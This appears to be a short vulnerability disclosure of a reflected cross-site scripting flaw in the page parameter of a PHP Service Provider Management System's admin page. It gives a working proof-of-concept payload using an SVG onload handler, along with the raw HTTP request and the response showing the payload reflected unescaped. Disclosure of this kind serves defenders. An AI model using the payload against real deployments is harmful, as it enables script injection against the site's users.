

XSS injection vulnerability exists in page parameter of /admin/index.php file of Service Provider Management System

With XSS, cybercriminals can turn trusted websites into malicious ones, thus causing inordinate harm and damage not only to the victims but also to the reputation of the trusted website's owner.

Websites that are compromised by XSS can cause any number of threats to attack a user's system. This can involve anything from inappropriate content being displayed to malware being downloaded onto the system without the user knowing.

```
1 GET /php-spms/admin/?page=
  user<svg%09%0A%0B%0C%0D%A0%00onload=JEkO(9582);> HTTP/1.1
2 Referer:
  http://192.168.163.1/php-spms/admin?page=user<svg%09%0A%0B%
  0C%0D%A0%00onload=JEkO(9582);>
3 Cookie: PHPSESSID=l94122sdmvt73tstf9jjbfo29b
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q
  =0.8
5 Accept-Encoding: gzip,deflate,br
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0
  Safari/537.36
7 Host: 192.168.163.1
8 Connection: Keep-alive
9
0
221 <span>
222   Inquiries
223 </span>
224 <span class="badge rounded-pill
225   bg-danger text-light ms-4">
226   1
227 </span>
228 </a>
229 </li>
230 </ul>
231 </aside>
232 <!-- End Sidebar-->
233 <!-- Content Wrapper. Contains page content -->
234 <main id="main" class="main">
235   <div class="pagetitle">
236     <h1>
237       User<svg
238         onload=JEkO(9582);>
239     </h1>
240     <nav>
241       <ol class="breadcrumb">
242         <li class="breadcrumb-item">
243           <a href="
244             http://192.168.163.1/php-spms//admin
245             ">
246             Dashboard
247           </a>
248         </li>
249         <li class="breadcrumb-item active">
250           User<svg
251             onload=JEkO(9582);>
252         </li>
253       </ol>
254     </nav>
```

Payload:

page=user<svg%09%0A%0B%0C%0D%A0%00onload=JEkO(9582);>

Source Download:

<https://www.sourcecodester.com/php/16501/service-provider-management-system-using-php-and-mysql-source-code-free-download.html>